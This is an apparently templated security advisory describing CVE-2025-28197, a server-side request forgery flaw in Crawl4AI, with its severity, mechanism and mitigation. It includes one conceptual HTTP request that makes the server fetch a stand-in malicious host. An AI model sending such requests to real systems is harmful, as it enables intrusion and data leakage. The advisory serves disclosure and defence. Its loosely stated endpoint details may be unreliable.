CVE-2025-28197: SSRF Vulnerability in Crawl4AI leading to Potential System Compromise

Overview

As the cybersecurity landscape continues to evolve, new vulnerabilities are discovered that pose significant threats to systems worldwide. One such vulnerability is the CVE-2025-28197, a severe flaw identified in Crawl4AI versions up to and including 0.4.247. The vulnerability, which allows for Server Side Request Forgery (SSRF), gives attackers the potential to compromise systems or leak data. This vulnerability is particularly concerning due to its high impact on systems and the widespread usage of Crawl4AI in various AI applications.

Vulnerability Summary

CVE ID: CVE-2025-28197
Severity: Critical (9.1 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Crawl4AI | <=0.4.247 How the Exploit Works

The exploit works by taking advantage of a flaw in the /crawl4ai/async_dispatcher.py script. An attacker can manipulate the server into making HTTP requests to an arbitrary domain of their choice. If the server is configured to perform actions based on the response from these requests, the attacker can potentially gain unauthorized access or cause a leakage of sensitive data from the server.

Conceptual Example Code

Here is a conceptual example of an HTTP request that could potentially exploit this vulnerability:

POST /crawl4ai/async_dispatcher.py HTTP/1.1
Host: target.example.com
Content-Type: application/json
{
"url": "http://malicious.example.com/"
}

In this example, the attacker is sending a request to the vulnerable endpoint (`/crawl4ai/async_dispatcher.py`) with a JSON object containing a URL pointing to a malicious server. The server running Crawl4AI would then unwittingly make a request to the malicious server, potentially executing unwanted actions or exposing sensitive data.

Mitigation

The primary mitigation against this vulnerability is to apply the vendor-provided patch. It is crucial to ensure that the Crawl4AI version is updated to a version that has addressed this SSRF vulnerability. In situations where applying the patch is not immediately feasible, deploying a Web Application Firewall (WAF) or Intrusion Detection System (IDS) as a temporary measure can help protect against potential exploitation. However, these are just temporary solutions and the vendor patch should be applied as soon as possible to fully mitigate the risk.